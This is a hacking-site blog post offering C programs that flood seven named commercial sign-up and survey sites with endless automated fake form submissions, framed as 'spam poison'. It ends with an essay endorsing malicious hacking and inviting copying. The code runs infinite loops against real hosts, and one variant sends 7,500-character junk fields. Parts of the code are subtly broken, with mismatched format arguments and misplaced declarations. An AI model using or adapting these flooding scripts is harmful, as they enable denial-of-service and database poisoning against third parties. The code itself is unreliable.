My buddy in belgium checked his yahoo mail for the first time in a few weeks, and he had nearly 800 spam messages. He was tired of this, so he decided to fight back, taking a more aggressive stance on "spam poison." With these seven programs, he took the top 7 spammers in his mailbox, and wrote programs that would fill out their "sign up" forms. He sent me these programs to show me what he had done. I have not tried these, but he swears they work. You'll recognize these spammers as the people who have flash ads for "Make a slam dunk and win a free ipod" or some such nonesense like that. If you've ever actually tried to fill it out one of these surveys to receive your free gift, eventually you'll run into a dead-end site, and you find yourself filling out things for free coffee samples, free porn newsletters, and free spam updates! This program opens one socket, fills out the form once, then closes the socket, and repeats.
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include < stdlib.h>
#include <time.h>
int main()
{
/********* paste below here *********/
/********* paste above here*********/
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(-1);
}
serv_addr.sin_addr = *((struct in_addr *)server->h_addr);
serv_addr.sin_port = htons(portno);
serv_addr.sin_family = AF_INET;
connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr));
write(sockfd,headerinfo,strlen(headerinfo));
close(sockfd);
write(1, ".", 1);
}
return 0;
}
Following, are seven samples of what you can paste to customize your program, to poison spammer's lists. I do not believe there is anything illegal about this, as there is no "click to state you understand the terms and agreements," and there is nothing holding you to fill out the correct information on the website. These particular cases will fill out each for about a billion or so times. Some of them have a infinite amount of inputs because they are "survey" style forms. For instance, they tell you to put in a zipcode. This means you can fill out the form an infinite amount of times and it will keep adding to the database. Other time you are required to fill out an e-mail address, and the program is currently limited to a billion or so e-mail addresses (ie: %c%c%c%c@%c%c%c%c%c.com). This is very easily customizable, even if you change the .com to .net and let it run a billion more times:
/************** copy ************/
int sockfd, portno = 80, n, x=1,xx=60,xxx,xxxx,xxxxx;
struct sockaddr_in serv_addr;
struct hostent *server;
char headerinfo[4000];
server = gethostbyname(" superbrewards.com");
printf("[x] Sevenfold Going after %s\n",*server);
while(1)
{
x = (xx + rand() %46);
xx = (69 + rand() %47);
xxx = (69 + rand() %47);
xxxx = (69 + rand() %47);
xxxxx = (69 + rand() %47);
printf("%d\n",x);
sprintf(headerinfo, "POST /xg_reg.htm HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, */*\r\n"
"Referer: http://www.superbrewards.com/%d%d.htm\r\n"
"Accept-Language: en-us\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Netscape/6.0 (compatible; MacOS 2.0; SV1; .NET CLR 1.0)\r\n"
"Host: www.superbrewards.com\r\n"
"Content-Length: 264\r\n"
"Connection: Keep-Alive\r\n"
"Cache-Control: no-cache\r\n\r\n"
"SID=04ed2%dbb147b%d1cfc%d1c1b%"
"d3&js_status=y&show_email_field=&cmd=perform_email&from="
"&gift=bostonmarket%5E50%5Egift_card&email=%c%c%c%c%c%c%c@%c%c%c%c%c%"
"c.com&title=&sex=&bd_y=&bd_m=&bd_d=&fname=&lname="
"&street=&state=zip=&phone=&country=\r\n", x, xx, xxx, xxxx, xxxxx, xx+5, xxx-5, xxxxx, xx, xx-2, xxx+10, xxxxx-2, x-10, xx+15, xx-5, x+5);
/**************** end copy ******************/
/**************** start copy ******************/
int sockfd, portno = 80, n, x=1,xx=60,xxx,xxxx,xxxxx;
struct sockaddr_in serv_addr;
struct hostent *server;
server = gethostbyname("form.inetek.com");
char *headerinfo=(char *)malloc(4*BUFSIZ);
printf("[x] Sevenfold Going after %s\n",*server);
while(1)
{
x = (xx + rand() %46);
xx = (69 + rand() %47);
xxx = (69 + rand() %47);
xxxx = x-xx+xxx;
xxxxx = (69 + rand() %47);
printf("%d\n",x);
sprintf(headerinfo, "GET /form/submit?client_id=10%d&form_id=7"
"&first_name=%c%c%c%c%c%c&last_name=%c%c%c%c%c%d&"
"email=%c%c%c%c%c%d%d@%c%c%c%c%c%c%c%"
"c.com&custom_27=&custom_30=&Submit=+++++Subscribe+++++ HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, */*\r\n"
"Referer: http://www.advertising.com/Marketing/PerformanceStandard/"
"subscribe.html?tbclk=-1.-1.-1\r\n"
"Accept-Language: en-us Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Netscape/1.0 (compatible; MacOS 2.0; BEOS 1.2; SV1)\r\n"
"Host: form.inetek.com\r\n"
"Connection: Keep-Alive\r\n",x, xx, xxx, xxxx, xx- 5, xx+ 5,xxx- 5,xxx+6, xxx-6, xxx+3, xxx-3, xxxx, xxxx, xxxx+3, xxxx, xxxxx, xxxx-5,xx, xxxx, xxxx+5,xx, xxx, xxxxx, x, xx, xxxx, xxxx,xx,x);
/**************** end copy ******************/
/**************** start copy ******************/
int sockfd, portno = 80, n, x,xx;
struct sockaddr_in serv_addr;
struct hostent *server;
server = gethostbyname(" form.inetek.com");
char *headerinfo=(char *)malloc(4*BUFSIZ);
puts("going after freecoffeecard.peel.com ( form.inetek.com)");
while(1)
{
x = (5 + rand() %4);
xx = (1500 + rand() %3500);
printf("zip: %d%d\n",x,xx);
sprintf(headerinfo,"POST /delivInfo.php HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, */*\r\n"
"Referer: http://freecoffeecard.peel.com/\r\n"
"Accept-Language: en-us\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Netscape/1.0 (compatible; MacOS 2.0; BEOS 1.2; SV1)\r\n"
"Host: freecoffeecard.peel.com\r\n"
"Content-Length: 100\r\n"
"Connection: Keep-Alive\r\n"
"Cache-Control: no-cache\r\n\r\n"
"pmwsid=&pmcreid=&selectedPrize=freeStarbucks&referrer="
"&zip=%d%d&x=79&y=13\r\n",x,xx);
/**************** end copy ******************/
/**************** start copy ******************/
int sockfd, portno = 80, n;
int x,xx,xxx,xxxx,xxxxx;
struct sockaddr_in serv_addr;
struct hostent *server;
server = gethostbyname("216.242.51.40");
char *headerinfo=(char *)malloc(4*BUFSIZ);
printf("[x] Sevenfold Going after %s\n",*server);
while(1)
{
x = (80 + rand() %50);
xx = (80 + rand() %50);
xxx = (80 + rand() %50);
xxxx = (80 + rand() %50);
xxxxx = (80 + rand() %50);
printf("%d %c\n",x,x);
sprintf(headerinfo, "POST /Index.asp?myAction=REMOVE HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, */*\r\n"
"Accept-Language: en-us\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Netscape/6.0 (compatible; MacOS 2.0; SV1; .NET CLR 1.0)\r\n"
"Host: 216.242.51.40\r\n"
"Content-Length: 42\r\n"
"Connection: Keep-Alive\r\n"
"Cache-Control: no-cache\r\n\r\n"
"EMSAnswer=0&EMSEmail=%c%c%c%c%c@%c%c%c%c%c.com", x, xx, xxx, xxxx, xxxxx, xx-2, xxx-2, xxxxx+2, xxxx, x-2);
/**************** end copy ******************/
/**************** start copy ******************/
int sockfd, portno = 80, n;
int x,xx,xxx,xxxx,xxxxx;
struct sockaddr_in serv_addr;
struct hostent *server;
server = gethostbyname("yourhealthsurvey.com");
char *headerinfo=(char *)malloc(4*BUFSIZ);
printf("[x] Sevenfold Going after %s\n",*server);
while(1)
{
x = (50 + rand() %46);
xx = (50 + rand() %47);
xxx = (50 + rand() %47);
xxxx = (69 + rand() %46);
xxxxx = (69 + rand() %47);
printf("%d \n",x);
sprintf(headerinfo, "GET /index.php?ref=hs027%d%d&request=a015%d%d&"
"ipaddress=%d.%d.%d.%d&hsid=&a=sendto&email=%c%c%c%c%c@%c%c%c%c"
"%c.com&check_health=Y&submit1_x=%d&submit1_y="
"%d&a=survey1&gender=F&fname=%c%c%c%c%c&lname="
"%c%c%c%c%c&addressline1=$d%c&addressline2=&city="
"%c%c%c&state=%c%c&postcode=2%d%d&yob=19%d&submit.x="
"%d&submit.y=%d HTTP/1.1\r\n"
"Accept: image/gif, image/jpeg*/*\r\n"
"Referer: http://www.yourhealthsurvey.com\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: deflate\r\n"
"User-Agent: Netscape/7.0 (compatible; MACOS 10; MacOS 10)\r\n"
"Host: www.yourhealthsurvey.com\r\n"
"Connection: Keep-Alive\r\n\r\n",x, xx, xxx, x, xxxxx, xxxx, xxx, xx, x, xxx+20, xxxx, xxxx+2, xxxxx-2, xxxx-2, xxx+20, xxxxx, xxxx-2, xxxxx+2, xxxx+2,xx, xxx, xxxxx, xxxx, xxxx+5, xxxxx-4, xxxx-4, xxxx,xxxxx, xxxx-5, xxxxx+4, xxxx+4,x+5, xxxx, xxxx, xxxxx, xxxx, xxxxx, xxxxx, xxxx, x, xx, x,xx+1,x-1);
/**************** end copy ******************/
/**************** start copy ******************/
int sockfd, portno = 80, n;
int x,xx,xxx,xxxx,xxxxx, yn;
struct sockaddr_in serv_addr;
struct hostent *server;
server = gethostbyname("migop.org");
char *headerinfo=(char *)malloc(4*BUFSIZ);
printf("[x] Sevenfold Going after %s\n",*server);
while(1)
{
yn = (32 +rand() %3);
x = (100 + rand() %50);
xx = (100 + rand() %50);
xxx = (100 + rand() %50);
xxxx = (100 + rand() %50);
xxxxx = (100 + rand() %50);
printf("%d \n",x);
sprintf(headerinfo, "POST /email/thankyou.asp HTTP/1.1\r\n"
"Accept: image/gif, */*\r\n"
"Referer: http://www.migop.org/email/email_subscribe.asp\r\n"
"Accept-Language: en-us\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Safari/2.0 (compatible; MacOS 10.0; MacOS 10.0; SV1;"
" .NET CLR 2.0.13222)\r\n"
"Host: www.migop.org\r\n"
"Content-Length: 289\r\n"
"Connection: Keep-Alive\r\n"
"Cache-Control: no-cache\r\n"
"Cookie: ASPSESSIONIDQCFEBABQ=BFABHFNANCOKKGOPJNOFPBCG\r\n\r\n"
"firstname=%c%c%c%c%c&lastname=%c%c%c%c%c&address="
"%d+%c%c%c%c%c&city=%c%c%c%c%c&state=MI&ZIP=2%d%"
"d&County=Out+of+State&phone=&emailadd=%c%c%c%c%c"
"@%c%c%c%c%c.com&Tier=A&q3a=Yes&q3jtext=&q6eText"
"=&Third=q1%da&SecondMost=q1%db&First=q1%dj&q16a=Yes"
"&q16%c=Yes&B1=Sign+Up%21", x, xx, xxxx, xxxxx, x-2, xx+2, xxx-5, xxxx+6, xxxxx-7, xx-2, xxxx, xx, xxx, x, xx-2, xx, x, xxxx, x, xxxxx, xx, x, xx-3, x+2, xx+3 , x , xx+1, xx-3, xxxx-3, xxx, xxxx, x, yn, yn, yn, xxxxx);
/**************** end copy ******************/
/**************** start copy ******************/
int sockfd, portno = 80, n;
int x=1,xx=2;
struct sockaddr_in serv_addr;
struct hostent *server;
server = gethostbyname("everyfreegift.com");
char *headerinfo[20000];
char huge[7500];
memset(huge,'@',7500);
memcpy(huge+7500,"@",1);
printf("[x] Sevenfold Going after %s\n",*server);
printf("going after %s\n", *server);
while(1)
{
x=(100 + rand() %90);
xx=(10001 + rand() %10000);
printf("sending huge email#%d\n",x);
sprintf(headerinfo, "GET /landings/efg_land_redirect.jsp?modi=gaslogos&"
"email=%d%d%s%s%&Submit=Click+to+Submit&product_id=4892&pid=&cid"
"=&lid=&bid=&ptid=&etid=&aid=&skin=o2 HTTP/1.1\r\n"
"Host: www.everyfreegift.com\r\n"
"User-Agent: Safari/2.0 (compatible; MacOS 10.0; SV1; .NET CLR 2.0.1)\r\n"
"Accept: text/xml\r\n"
"Accept-Language: en-us,en;q=0.5\r\n"
"Accept-Encoding: gzip,deflate\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"Keep-Alive: 1300\r\n"
"Connection: keep-alive\r\n"
"Referer: http://www.everyfreegift.com/\r\n\r\n",x,xx,huge,huge);
/**************** end copy ******************/
If the human body was never exposed to ailments, it would be impressivly vulnerable to the slightest cold. If our country was never exposed to hacking, it would be oppressivly vulnerable to cyber terrorism. With out the creation of a malicious hacking, Afganistan could have destroyed America's economy with a ping flood. This is why I encourange maclicious hacking, as an ethical practice. Without strengthening our defenses, we are weak. This site is focused on security through knowledge. I detest the fact that so many companies are being exploited because malicious hackers know their security holes before they do. For that reason, I hope to educate where the exploits lay. This isn't a 100% information base, as I only publish things I have been able to implement on myself. No credit is needed anywhere . However if you are a publisher, I would appriciate credit. I am an advocate of open source, so copy and paste and call it your own if you like. If my work is good enough for you to plagerize then that is my biggest compliment . If my work is good enough, I will be approached and asked to write more ... this is natural selection of the digital age .
Two very recommended books:
. . The only hacking forum I have found worth mentioning here